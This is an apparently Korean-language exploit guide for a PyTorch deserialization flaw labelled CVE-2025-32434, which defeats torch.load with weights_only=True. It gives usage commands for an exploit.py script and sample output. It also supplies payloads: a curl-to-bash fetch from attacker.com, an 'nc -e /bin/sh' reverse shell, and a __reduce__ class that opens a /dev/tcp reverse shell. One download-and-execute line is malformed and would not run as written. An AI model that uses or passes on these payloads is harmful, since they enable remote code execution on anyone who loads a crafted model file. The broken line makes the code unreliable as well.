
PyTorch의 취약점을 악용하여 라이브러리 버전 < 2.6.0에서 이후 RCE를 수행하는 스크립트입니다.
이 익스플로잇은 PyTorch 2.6.0 미만 버전에서 발견된 심각한 원격 코드 실행 취약점(CVE-2025-32434)을 시연합니다. 이 결함은 weights_only=True를 사용하더라도 torch.load() 함수에 존재하며, 이는 모델 역직렬화 중 임의 코드 실행을 방지하기 위한 것입니다.
취약점은 _weights_only_unpickler 구현이 역직렬화를 적절히 제한하지 못하여 발생하며, 공격자가 악의적인 .pt 모델 파일을 제작하여 취약한 PyTorch 설치 환경에서 로드될 때 임의 시스템 명령을 실행할 수 있게 합니다.
exploit.py로 저장하세요.# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
출력 예시:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
create_malicious_model() 또는 create_advanced_exploit()의 __reduce__() 메서드를 편집하세요:
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
대상 취약점 확인
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0